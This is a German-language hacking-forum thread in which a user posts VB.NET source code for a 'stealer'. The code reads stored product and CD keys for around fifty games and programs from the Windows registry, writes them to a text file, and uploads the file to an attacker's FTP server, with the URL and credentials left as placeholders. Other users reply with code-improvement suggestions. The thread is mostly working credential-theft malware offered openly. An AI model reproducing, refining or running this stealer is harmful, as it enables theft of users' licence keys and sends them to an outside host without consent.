[B][vb.net] Stealer Source Code

[Dayn]

Sooo..
Weil ich zu blöd bin ein builder für meinen stealer zu schreiben poste ich jetzt hier den Source Code und die Informationen (;

Was macht der Stealer??

er speichert und uppt die keys von folgenden programmen:

Need For Speed Carbon

Crysis

Battlefield Bad Company 2

Battlefield 2

Battlefield 1942: Road To Rome

Battlefield 1942: Secret Weapons of WWII

Battlefield 1942

Battlefield 2 Special Forces

C&C Red Alert 3

C&C Generals Zero Hour

C&C Generals

C&C Red Alert

C&C Red Alert 2

C&C Tiberian Sun

C&C 3 Tiberium Wars

VMware Workstation

Alcohol 120%

Call od Duty

Call od Duty 2

Call od Duty 4

Call of Duty World at War

Company of Heroes

Company of Heroes Opposing Fronts

Down of War

Dawn of War: Dark Crusade

Dawn of War: Soulstorm

Dawn of War: Winter Assualt

FIFA 2002

FIFA 2003

FIFA 2007

James Bond 007 Nightfire

Macromedia Dreamweaver 8

Medal of Honor Airborne

Medal of Honor: Allied Assault: Breakthrough

Medal of Honor: Allied Assault: Spearhead

Medal of Honor: Allied Assault

Need for Speed Most Wanted

Need for Speed Underground

Nero 7

Nero 8

Nero 9

Norton Antivirus 2006

S.T.A.L.K.E.R. - Shadow of Chernobyl

Sony Vegas 6

Sony Vegas 8

Star Wars: Empire at War

Black and White

Avira AntiVir Personal Edition Classic

Unreal Tournament 2003

Unreal Tournament 2004

Source Code....

'////Need For Speed Carbon
Dim NFSCkey As String
NFSCkey = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACH INE\SOFTWARE\Electronic Arts\Electronic Arts\Need for Speed Carbon\ergc", "", Nothing)


'//// Key Auslesen Crysis

Dim Crysiskey As String
Crysiskey = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACH INE\SOFTWARE\Electronic Arts\Electronic Arts\Crysis\ergc", "", Nothing)


'//// Key Auslesen Battlefield Bad Company 2

Dim BFBC2 As String
BFBC2 = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACH INE\SOFTWARE\Electronic Arts\Electronic Arts\Battlefield Bad Company 2\ergc", "", Nothing)


'//// Battlefield 2

Dim BF2 As String
BF2 = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACH INE\SOFTWARE\Electronic Arts\EA Games\Battlefield 2\ergc", "", Nothing)


'//// C&C Red Alert 3

Dim RA3 As String
RA3 = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACH INE\SOFTWARE\Electronic Arts\Electronic Arts\Red Alert 3\ergc", "", Nothing)


'//// VMware Workstation

Dim VMW As String
VMW = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACH INE\SOFTWARE\VMware, Inc.\VMware Workstation\License.ws.6.0.200907", "Serial", Nothing)

'//// Alcohol 120%

Dim alc120 As String
alc120 = Microsoft.Win32.Registry.GetValue("HKEY_CURRENT_US ER\Software\Alcohol Soft\Alcohol 120%\Info=UserName|Key=HKEY_CURRENT_USER\Software\ Alcohol Soft\Alcohol 120%\Info", "ServerKey", Nothing)

'//// Battlefield 1942: Road To Rome

Dim BFRTR As String
BFRTR = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACH INE\SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rome\egrc", "", Nothing)


'//// Battlefield 1942: Secret Weapons of WWII

Dim bfswow As String
bfswow = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACH INE\SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons of WWII\ergc", "", Nothing)


'//// Battlefield 1942

Dim bf1942 As String
bf1942 = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACH INE\SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942\ergc", "", Nothing)


'//// Battlefield 2 Special Forces
Dim bfsf As String
bfsf = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACH INE\SOFTWARE\Electronic Arts\\EA Games\Battlefield 2 Special Forces\ergc", "", Nothing)

'//// Call of Duty
Dim cod As String
cod = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACH INE\SOFTWARE\Activision\Call of Duty United Offensive", "key", Nothing)

'//// Call of Duty 2
Dim cod2 As String
cod2 = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACH INE\SOFTWARE\Activision\Call of Duty 2", "codkey", Nothing)

'//// Call of Duty 4
Dim cod4 As String
cod4 = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACH INE\SOFTWARE\Activision\Call of Duty 4", "codkey", Nothing)

'//// Call of Duty World at War
Dim codwaw As String
codwaw = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACH INE\SOFTWARE\Activision\Call of Duty WAW", "codkey", Nothing)


'//// Command & Conquer: Generals Zero Hour

Dim ccgzh As String
ccgzh = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACH INE\SOFTWARE\Electronic Arts\EA Games\Command and Conquer Generals Zero Hour\ergc", "", Nothing)

'//// Command & Conquer: Generals
Dim ccg As String
ccg = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACH INE\SOFTWARE\Electronic Arts\EA Games\Generals\ergc", "", Nothing)

'//// Cammand & Conquer: Red Alert
Dim ccra As String
ccra = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACH INE\SOFTWARE\Westwood\Red Alert", "Serial", Nothing)

'//// Command & Conquer: Red Alert 2
Dim ccra2 As String
ccra2 = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACH INE\SOFTWARE\Westwood\Yuri's Revenge", "Serial", Nothing)

'//// Command & Conquer Tiberian Sun
Dim ccts As String
ccts = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACH INE\SOFTWARE\Westwood\Tiberian Sun", "Serial", Nothing)

'//// Command & Conquer 3: Tiberium Wars
Dim cc3tw As String
cc3tw = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACH INE\SOFTWARE\Electronic Arts\Electronic Arts\Command and Conquer 3\ergc", "", Nothing)


'////Company of Heroes
Dim coh As String
coh = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACH INE\SOFTWARE\THQ\Company of Heroes=Version|Key=HKEY_LOCAL_MACHINE\SOFTWARE\THQ \Company of Heroes", "ProductKey", Nothing)


'////Company of Heroes Opposing Fronts
Dim cohof As String
cohof = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACH INE\SOFTWARE\THQ\Company of Heroes=Version|Key=HKEY_LOCAL_MACHINE\SOFTWARE\THQ \Company of Heroes", "CoHOFProductKey", Nothing)


'////Dawn of War
Dim dow As String
dow = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACH INE\Software\THQ\Dawn of War", "CDKEY", Nothing)


'////Dawn of War: Dark Crusade
Dim dowdc As String
dowdc = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACH INE\Software\THQ\Dawn of War - Dark Crusade", "CDKEY", Nothing)

'////Dawn of War: Soulstorm
Dim dows As String
dows = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACH INE\Software\THQ\Dawn of War - Soulstorm", "CDKEY", Nothing)

'////Dawn of War: Winter Assualt
Dim dowwa As String
dowwa = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACH INE\Software\THQ\Dawn of War", "CDKEY_WXP", Nothing)

'////FIFA 2002
Dim fifa2 As String
fifa2 = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACH INE\SOFTWARE\Electronic Arts\EA Sports\FIFA 2002\ergc", "", Nothing)

'////FIFA 2003
Dim fifa3 As String
fifa3 = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACH INE\SOFTWARE\Electronic Arts\EA Sports\FIFA 2003\ergc", "", Nothing)

'////FIFA 2007
Dim fifa7 As String
fifa7 = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACH INE\SOFTWARE\Electronic Arts\EA Sports\FIFA 07\ergc", "", Nothing)


'////James Bond 007 Nightfire
Dim jb007 As String
jb007 = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACH INE\SOFTWARE\Electronic Arts\EA Games\James Bond 007 Nightfire\ergc", "", Nothing)


'////Macromedia Dreamweaver 8
Dim md8 As String
md8 = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACH INE\SOFTWARE\Macromedia\Dreamweaver\8\Registration ", "Cached Serial Number", Nothing)


'////Medal of Honor Airborne
Dim mofa As String
mofa = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACH INE\SOFTWARE\Electronic Arts\Electronic Arts\Medal of Honor Airborne\ergc", "", Nothing)

'////Medal of Honor: Allied Assault: Breakthrough
Dim mofaab As String
mofaab = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACH INE\SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Breakthrough\ergc", "", Nothing)

'////Medal of Honor: Allied Assault: Spearhead
Dim mohaas As String
mohaas = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACH INE\SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Spearhead\ergc", "", Nothing)

'////Medal of Honor: Allied Assault
Dim mohaa As String
mohaa = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACH INE\SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\egrc", "", Nothing)


'////Need for Speed Most Wanted
Dim nfsmw As String
nfsmw = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACH INE\SOFTWARE\Electronic Arts\EA Games\Need for Speed Most Wanted\ergc", "", Nothing)

'////Need for Speed Underground
Dim nfsu As String
nfsu = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACH INE\SOFTWARE\Electronic Arts\Electronic Arts\Need for Speed Underground\ergc", "", Nothing)

'////Nero 7
Dim nero7 As String
nero7 = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACH INE\SOFTWARE\Ahead\Installation\Families\Nero 7\Info", "Serial7_*", Nothing)


'////Nero 8
Dim nero8 As String
nero8 = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACH INE\SOFTWARE\Nero\Installation\Families\Nero 8\Info", "Serial8_*", Nothing)

'////Nero9
Dim nero9 As String
nero9 = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACH INE\SOFTWARE\Nero\Shared\NL9\", "Serial9_*", Nothing)

'////Norton Antivirus 2006
Dim norton2006 As String
norton2006 = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACH INE\SOFTWARE\Symantec\CCPD-LC\KStore\00000082\0000001e\0000004a", "key", Nothing)

'////S.T.A.L.K.E.R. - Shadow of Chernobyl
Dim stalker As String
stalker = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACH INE\SOFTWARE\GSC Game World\STALKER-SHOC", "InstallCDKEY", Nothing)


'////Sony Vegas 6
Dim sv6 As String
sv6 = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACH INE\SOFTWARE\Sony Media Software\Vegas\6.0\License", "CurrentKey", Nothing)


'////Sony Vegas 8
Dim sv8 As String
sv8 = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACH INE\SOFTWARE\Sony Media Software\Vegas Movie Studio Platinum\6.0\License", "CurrentKey", Nothing)


'////Star Wars: Empire at War
Dim steaw As String
steaw = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACH INE\SOFTWARE\LucasArts\Star Wars Empire at War\1.0", "CD Key", Nothing)


'////Black and White
Dim baw As String
baw = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACH INE\SOFTWARE\Electronic Arts\EA GAMES\Black and White\ergc", "", Nothing)


'////Avira AntiVir Personal Edition Classic
Dim antivir As String
antivir = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACH INE\SOFTWARE\Avira\AntiVir PersonalEdition Classic", "ProductID", Nothing)


'////Unreal Tournament 2003
Dim ut3 As String
ut3 = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACH INE\SOFTWARE\Unreal Technology\Installed Apps\UT2003", "CDKey", Nothing)


'////Unreal Tournament 2004
Dim ut4 As String
ut4 = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACH INE\SOFTWARE\Unreal Technology\Installed Apps\UT2004", "CDKey", Nothing)




'//// Textdatei Dropen

Dim txtTime As String = Date.Now.ToString.Replace(":", ".").Replace(" ", "'''")
Dim txtPfad As String = "C:\Users\Andy\Documents\" & txtTime & ".txt"

Dim txtInhalt As String = "****************************" & vbNewLine & "Need For Speed Carbon" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & NFSCkey & vbNewLine & vbNewLine & vbNewLine & "****************************" & vbNewLine & "Crysis" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & Crysiskey & vbNewLine & vbNewLine & vbNewLine & "****************************" & vbNewLine & "Battlefield Bad Company 2" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & BFBC2 & vbNewLine & vbNewLine & vbNewLine & "****************************" & vbNewLine & "Battlefield 2" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & BF2 & vbNewLine & vbNewLine & vbNewLine & "****************************" & vbNewLine & "Battlefield 1942: Road To Rome" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & BFRTR & vbNewLine & vbNewLine & vbNewLine & "****************************" & vbNewLine & "Battlefield 1942: Secret Weapons of WWII" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & bfswow & vbNewLine & vbNewLine & vbNewLine & "****************************" & vbNewLine & "Battlefield 1942" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & bf1942 & vbNewLine & vbNewLine & vbNewLine & "****************************" & vbNewLine & "Battlefield 2 Special Forces" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & bfsf & vbNewLine & vbNewLine & vbNewLine & "****************************" & vbNewLine & "C&C Red Alert 3" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & RA3 & vbNewLine & vbNewLine & vbNewLine & "****************************" & vbNewLine & "C&C Generals Zero Hour" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & ccgzh & vbNewLine & vbNewLine & vbNewLine & "****************************" & vbNewLine & "C&C Generals" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & ccg & vbNewLine & vbNewLine & vbNewLine & "****************************" & vbNewLine & "C&C Red Alert" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & ccra & vbNewLine & vbNewLine & vbNewLine & "****************************" & vbNewLine & "C&C Red Alert 2" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & ccra2 & vbNewLine & vbNewLine & vbNewLine & "****************************" & vbNewLine & "C&C Tiberian Sun" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & ccts & vbNewLine & vbNewLine & vbNewLine & "****************************" & vbNewLine & "C&C 3 Tiberium Wars" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & cc3tw & vbNewLine & vbNewLine & vbNewLine & "****************************" & vbNewLine & "VMware Workstation" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & VMW & vbNewLine & vbNewLine & vbNewLine & "****************************" & vbNewLine & "Alcohol 120%" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & alc120 & vbNewLine & vbNewLine & vbNewLine & "****************************" & vbNewLine & "Call od Duty" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & cod & vbNewLine & vbNewLine & vbNewLine & "****************************" & vbNewLine & "Call od Duty 2" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & cod2 & vbNewLine & vbNewLine & vbNewLine & "****************************" & vbNewLine & "Call od Duty 4" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & cod4 & vbNewLine & vbNewLine & vbNewLine & "****************************" & vbNewLine & "Call of Duty World at War" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & codwaw & vbNewLine & vbNewLine & vbNewLine & "****************************" & vbNewLine & "Company of Heroes" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & coh & vbNewLine & vbNewLine & vbNewLine & "****************************" & vbNewLine & "Company of Heroes Opposing Fronts" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & cohof & vbNewLine & vbNewLine & vbNewLine & "****************************" & vbNewLine & "Down of War" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & dow & vbNewLine & vbNewLine & vbNewLine & "****************************" & vbNewLine & "Dawn of War: Dark Crusade" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & dowdc & vbNewLine & vbNewLine & vbNewLine & "****************************" & vbNewLine & "Dawn of War: Soulstorm" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & dows & vbNewLine & vbNewLine & vbNewLine & "****************************" & vbNewLine & "Dawn of War: Winter Assualt" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & dowwa & vbNewLine & vbNewLine & vbNewLine & "****************************" & vbNewLine & "FIFA 2002" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & fifa2 & vbNewLine & vbNewLine & vbNewLine & "****************************" & vbNewLine & "FIFA 2003" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & fifa3 & vbNewLine & vbNewLine & vbNewLine & "****************************" & vbNewLine & "FIFA 2007" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & fifa7 & vbNewLine & vbNewLine & vbNewLine & "****************************" & vbNewLine & "James Bond 007 Nightfire" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & jb007 & vbNewLine & vbNewLine & vbNewLine & "****************************" & vbNewLine & "Macromedia Dreamweaver 8" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & md8 & vbNewLine & vbNewLine & vbNewLine & "****************************" & vbNewLine & "Medal of Honor Airborne" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & mofa & vbNewLine & vbNewLine & vbNewLine & "****************************" & vbNewLine & "Medal of Honor: Allied Assault: Breakthrough" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & mofaab & vbNewLine & vbNewLine & vbNewLine & "****************************" & vbNewLine & "Medal of Honor: Allied Assault: Spearhead" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & mohaas & vbNewLine & vbNewLine & vbNewLine & "****************************" & vbNewLine & "Medal of Honor: Allied Assault" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & mohaa & vbNewLine & vbNewLine & vbNewLine & "****************************" & vbNewLine & "Need for Speed Most Wanted" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & nfsmw & vbNewLine & vbNewLine & vbNewLine & "****************************" & vbNewLine & "Need for Speed Underground" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & nfsu & vbNewLine & vbNewLine & vbNewLine & "****************************" & vbNewLine & "Nero 7" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & nero7 & vbNewLine & vbNewLine & vbNewLine & "****************************" & vbNewLine & "Nero 8" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & nero8 & vbNewLine & vbNewLine & vbNewLine & "****************************" & vbNewLine & "Nero 9" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & nero9 & vbNewLine & vbNewLine & vbNewLine & "****************************" & vbNewLine & "Norton Antivirus 2006" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & norton2006 & vbNewLine & vbNewLine & vbNewLine & "****************************" & vbNewLine & "S.T.A.L.K.E.R. - Shadow of Chernobyl" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & stalker & vbNewLine & vbNewLine & vbNewLine & "****************************" & vbNewLine & "Sony Vegas 6" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & sv6 & vbNewLine & vbNewLine & vbNewLine & "****************************" & vbNewLine & "Sony Vegas 8" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & sv8 & vbNewLine & vbNewLine & vbNewLine & "****************************" & vbNewLine & "Star Wars: Empire at War" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & steaw & vbNewLine & vbNewLine & vbNewLine & "****************************" & vbNewLine & "Black and White" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & baw & vbNewLine & vbNewLine & vbNewLine & "****************************" & vbNewLine & "Avira AntiVir Personal Edition Classic" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & antivir & vbNewLine & vbNewLine & vbNewLine & "****************************" & vbNewLine & "Unreal Tournament 2003" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & ut3 & vbNewLine & vbNewLine & vbNewLine & "****************************" & vbNewLine & "Unreal Tournament 2004" & vbNewLine & "****************************" & vbNewLine & vbNewLine & vbNewLine & ut4 & vbNewLine & vbNewLine & vbNewLine



My.Computer.FileSystem.WriteAllText(txtPfad, txtInhalt, True)


'//// Textdatei Uploaden

Dim ftpaddress As String = "ftp://URL/"
Dim username As String = "USERNAME"
Dim passwort As String = "PASSWORD"
Dim pfad As String = "C:\Users\XXX\Documents\" & txtTime & ".txt"

My.Computer.Network.UploadFile(pfad, ftpaddress & "\" & txtTime & ".txt", username, passwort)

~Andy~

ich bitte um:
verbesserungsvorschläge
kritik/hilfe

[br00_pwn]

ich bitte um:
verbesserungsvorschläge

Naja, du ließt einfach die Rec-Einträge aus, speicherst Sie anschließend in eine txt (formatiert)
und lädst sie unverschlüsselt auf einen FTP Server

LG br00_pwn

[inout]

Hast Du schon mal etwas von Schleifen und Arrays gehört?

[Dayn]

danke br00_pwn
ich werd mich diesbezüglich mal belesen (:

@ inout

schleifen ja, Arrays nein (:
ich bin grad erst am anfang und war darüber schon froh, weil es ja halt den sinn erfüllt (:

[Th3_Cr4xX]

Der Code ist nicht gerade schön.

BTW: Falsche Section (-> VB.NET - Source Codes)

[inout]

schleifen ja, Arrays nein (:
ich bin grad erst am anfang und war darüber schon froh, weil es ja halt den sinn erfüllt (:

Na, dann wirds aber Zeit, denn damit ließe sich der Code auf mindestens ein Zehntel reduzieren